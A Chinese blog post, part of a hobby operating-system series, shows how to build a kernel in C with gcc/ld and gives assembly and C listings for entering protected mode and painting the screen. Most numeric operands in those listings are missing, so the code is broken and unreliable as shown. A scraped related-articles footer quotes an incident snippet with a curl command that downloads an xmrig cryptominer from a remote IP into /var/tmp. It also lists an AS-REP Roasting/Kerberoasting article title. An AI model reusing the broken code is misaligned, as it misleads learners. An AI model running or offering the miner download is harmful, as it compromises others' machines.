自制操作系统Antz(6)——内核初步,引入c语言
Antz系统更新地址: https://www.cnblogs.com/LexMoon/category/1262287.html
Linux内核源码分析地址:https://www.cnblogs.com/LexMoon/category/1267413.html
在前几天的任务中,我们已经简单实现了MBR,直接操作显示器和硬盘操作来加载其他扇区的程序,如今已经可以进入保护模式了,之前一直使用的是汇编语言,接下来要使用c语言实现内核了。
0. GCC前提
gcc -c -o main.o main.c
-c的作用是编译,汇编到目标代码,不进行链接,也就是直接生成目标文件。
-o的作用是将输出的文件以指定文件名来存储,有同名文件会直接覆盖。
如果你不会使用GCC,请先去略作了解。
这行命令会生成一个main.o文件。它只是一个目标文件,也是待重定位文件,重定位是指文件里面所用的符号还没有安排地址,这些符号的地址要与其他目标文件组成一个可执行文件时再重新定位(排地址),符号是指该目标文件中所调用的函数或使用的变量,这里的组成就是指链接。
main.o是可重定位文件,ld命令可以链接,指定最终生成文件的起始虚拟地址。
ld main.o -Ttext 0xc0001500 -e main -o main.bin
-Ttext指定了起始虚拟地址是0xc0001500,这个地址是内核加载需要的,-o是指定输出文件,-e是指定了程序起始地址。
1. 引入C语言
内核,是一个操作系统的核心。是基于硬件的第一层软件扩充,提供操作系统的最基本的功能,是操作系统工作的基础,它负责管理系统的进程、内存、设备驱动程序、文件和网络系统,决定着系统的性能和稳定性。
现代操作系统设计中,为减少系统本身的开销,往往将一些与硬件紧密相关的(如中断处理程序、设备驱动程序等)、基本的、公共的、运行频率较高的模块(如时钟管理、进程调度等)以及关键性数据结构独立开来,使之常驻内存,并对他们进行保护。通常把这一部分称之为操作系统的内核。
程序可以直接地被调入计算机中执行,这样的设计说明了设计者不希望提供任何硬件抽象和操作系统的支持,它常见于早期计算机系统的设计中。最终,一些辅助性程序,例如程序加载器和调试器,被设计到机器核心当中,或者固化在只读存储器里。这些变化发生时,操作系统内核的概念就渐渐明晰起来了。
antz_os.asm :
- ; antz_os
- BOTPAK EQU 0x00280000
- DSKCAC EQU 0x00100000
- DSKCAC0 EQU 0x00008000
- CYLS EQU 0x0ff0
- LEDS EQU 0x0ff1
- VMODE EQU 0x0ff2
- SCRNX EQU 0x0ff4
- SCRNY EQU 0x0ff6
- VRAM EQU 0x0ff8
- ORG 0xc200
- MOV AL,0x13
- MOV AH,0x00
- INT 0x10
- MOV BYTE [VMODE],
- MOV WORD [SCRNX],
- MOV WORD [SCRNY],
- MOV DWORD [VRAM],0x000a0000
- MOV AH,0x02
- INT 0x16 ; keyboard BIOS
- MOV [LEDS],AL
- MOV AL,0xff
- OUT 0x21,AL
- NOP
- OUT 0xa1,AL
- CLI
- CALL waitkbdout
- MOV AL,0xd1
- OUT 0x64,AL
- CALL waitkbdout
- MOV AL,0xdf ; enable A20
- OUT 0x60,AL
- CALL waitkbdout
- ; 保护模式转换
- [INSTRSET "i486p"]
- LGDT [GDTR0]
- MOV EAX,CR0
- AND EAX,0x7fffffff
- OR EAX,0x00000001
- MOV CR0,EAX
- JMP pipelineflush
- MOV AX,*
- MOV DS,AX
- MOV ES,AX
- MOV FS,AX
- MOV GS,AX
- MOV SS,AX
- MOV ESI,bootpack ; 源
- MOV EDI,BOTPAK ; 目标
- MOV ECX,*/
- CALL memcpy
- MOV ESI,0x7c00 ; 源
- MOV EDI,DSKCAC ; 目标
- MOV ECX,/
- CALL memcpy
- MOV ESI,DSKCAC0+ ; 源
- MOV EDI,DSKCAC+ ; 目标
- MOV ECX,
- MOV CL,BYTE [CYLS]
- IMUL ECX,**/
- SUB ECX,/
- CALL memcpy
- MOV EBX,BOTPAK
- MOV ECX,[EBX+]
- ADD ECX,
- SHR ECX,
- JZ skip
- MOV ESI,[EBX+]
- ADD ESI,EBX
- MOV EDI,[EBX+]
- CALL memcpy
- skip:
- MOV ESP,[EBX+]
- JMP DWORD *:0x0000001b
- waitkbdout:
- IN AL,0x64
- AND AL,0x02
- JNZ waitkbdout
- RET
- memcpy:
- MOV EAX,[ESI]
- ADD ESI,
- MOV [EDI],EAX
- ADD EDI,
- SUB ECX,
- JNZ memcpy
- RET
- ALIGNB
- GDT0:
- RESB
- DW 0xffff,0x0000,0x9200,0x00cf
- DW 0xffff,0x0000,0x9a28,0x0047
- DW
- GDTR0:
- DW *-
- DD GDT0
- ALIGNB
- bootpack:
bootpack.c:
- void io_hlt(void);
- void write_mem8(int addr,int data);
- void HariMain(void)
- {
- int i ;
- for(i=0xa0000;i<0xaffff;i++){
- write_mem8(i,);
- }
- for(;;){
- io_hlt();
- }
- }
func.asm:
- [FORMAT "WCOFF"]
- [BITS ]
- [INSTRSET "i486p"]
- [FILE "naskfunc.nas"]
- GLOBAL _io_hlt
- [SECTION .text]
- _io_hlt: ; void io_hlt(void);
- HLT
- RET
- _write_mem8:
- MOV ECX,[ESP+]
- MOV AL,[ESP+]
- MOV [ECX],AL
- RET
在func.asm中声明了bootpack.c中调用的函数,用于绘制屏幕,如果你还不了解怎么绘制屏幕,可以看看第三天的直接操作显卡部分。
生成的img打开在虚拟机之后。
看到这里你可能会发现,我们在c语言中定义的函数完成了屏幕绘制,在HariMain函数中的for循环将整个屏幕完成了绘制。write_mem8函数的两个参数分别控制了位置和颜色,这是图形化的一大步。
随意修改一下参数之后,屏幕显示就是不一样的颜色了,至于怎么改,可以在for循环里面自行修改了。
关于内核的知识便不再向之前一样详细概况了,推荐一本书,《Linux内核完全剖析》。
自制操作系统Antz(6)——内核初步,引入c语言的更多相关文章
- 《30天自制操作系统》读书笔记(3) 引入C语言
这一次的学习相当曲折, 主要是因为粗心, Makefile里面的错误导致了文件生成出现各种奇奇怪怪的问题, 弄得心力交瘁, 因此制作过程还是尽量按着作者的路子来吧. 作者提供的源码的注释在中文系统下是 ...
- 自制操作系统Antz -- 系列文章
自制操作系统Antz day10——实现shell(上) AntzUhl 2018-10-10 16:25 阅读:192 评论:0 Linux内核源码分析 day01——内存寻址 AntzUhl ...
- 自制操作系统Antz(13) 显示图片
显示图片只是在多媒体课上看着bmp格式图片的突发奇想,然后就实现在了我自己的操作系统 Antz系统更新地址 Linux内核源码分析地址 Github项目地址 效果图: 显示图片的原理 在之前显卡操作时 ...
- 【自制操作系统06】终于开始用 C 语言了,第一行内核代码!
一.整理下到目前为止的流程图 写到这,终于才把一些苦力活都干完了,也终于到了我们的内核代码部分,也终于开始第一次用 c 语言写代码了!为了这个阶段性的胜利,以及更好地进入内核部分,下图贴一张到目前为止 ...
- 自制操作系统Antz(7)——实现内核 (上)
Antz系统更新地址: https://www.cnblogs.com/LexMoon/category/1262287.html Linux内核源码分析地址:https://www.cnblogs. ...
- 自制操作系统Antz(9)——实现内核 (下) 实现图形化界面
Antz系统更新地址: https://www.cnblogs.com/LexMoon/category/1262287.html Linux内核源码分析地址:https://www.cnblogs. ...
- 自制操作系统Antz(8)——实现内核 (中) 扩展内核
Antz系统更新地址: https://www.cnblogs.com/LexMoon/category/1262287.html 在前几天的任务中,我们已经简单实现了MBR,直接操作显示器和硬盘操作 ...
- 自制操作系统Antz(4)——进入保护模式 (下) 实现内核并从硬盘载入
Antz系统更新地址: https://www.cnblogs.com/LexMoon/category/1262287.html Linux内核源码分析地址:https://www.cnblogs. ...
- 自制操作系统Antz(1)——Boot Sector
0.引子 最近在看操作系统底层方面的东西,最开始的为什么是07c00h这个问题就让我对操作系统有了很大的兴趣.所以准备在看书之余顺便写一个操作系统(Anz).至于为什么这个系统会被叫做Antz,可以参 ...
随机推荐
- 使用AS-REP Roasting和kerberoasting攻击kerberos
准备工作 ''' PowerView是PowerSploit框架的一个子集,里面继承了很多和渗透相关的powershell脚本下载地址:https://github.com/PowerShellMaf ...
- CF1B Spreadsheets
题意翻译 人们常用的电子表格软件(比如: Excel)采用如下所述的坐标系统: 第一列被标为A,第二列为B,以此类推,第26列为Z.接下来为由两个字母构成的列号: 第27列为AA,第28列为AB... ...
- Django中URL有关
django 模板中url的处理 在模板中直接添加‘/home’这样的链接是十分不推荐的,因为这是一个相对的链接,在不同网页中打开可能会返回不一样的结果. 所以推荐的是 1 <a href= ...
- SpringMVC+MyBatis+Druid使用MySQL8.0.11版本
1.使用MySQL8.0.11版本,要使用5.1.45或其他高版本驱动jar包,我本地使用的是最新的8.0.11 2.更换了MySQL驱动后,报Cannot find class [com.aliba ...
- ubuntu16.04安装libzip库
sudo apt install libzip-dev
- .net 平台 统计图表展示控件fusioncharts
https://www.fusioncharts.com/javascript-chart-fiddles/
- Mybatis 使用了哪些设计模式?
https://mp.weixin.qq.com/s/ZTh4a-YST5RdIipHykWpPQ
- dex2jar反编译dex文件
apk实际是一组文件的压缩包,修改为zip或rar后直接解压可以看到其内部内容,其中classes.dex就是java代码编译后的结果 dex2jar可以实现对该文件的反编译 dex2jar镜像地址: ...
- Django之get请求url的参数
当get网址是127.0.0.1:8000/mysite10这种类型的网址时 有两种方法: 1,在urls的路由的urlpatterns里面这样定义路由 re_path('^mysite(\d+)$' ...
- Sonatype Nexus Repository Manager版本3.14.2访问控制缺失及远程代码执行漏洞
发现被执行的程序在xmrig在 /var/tmp/目录下 ,脚本文件内容为以下: curl -o /var/tmp/xmrig http://202.144.193.159/xmrig;curl -o ...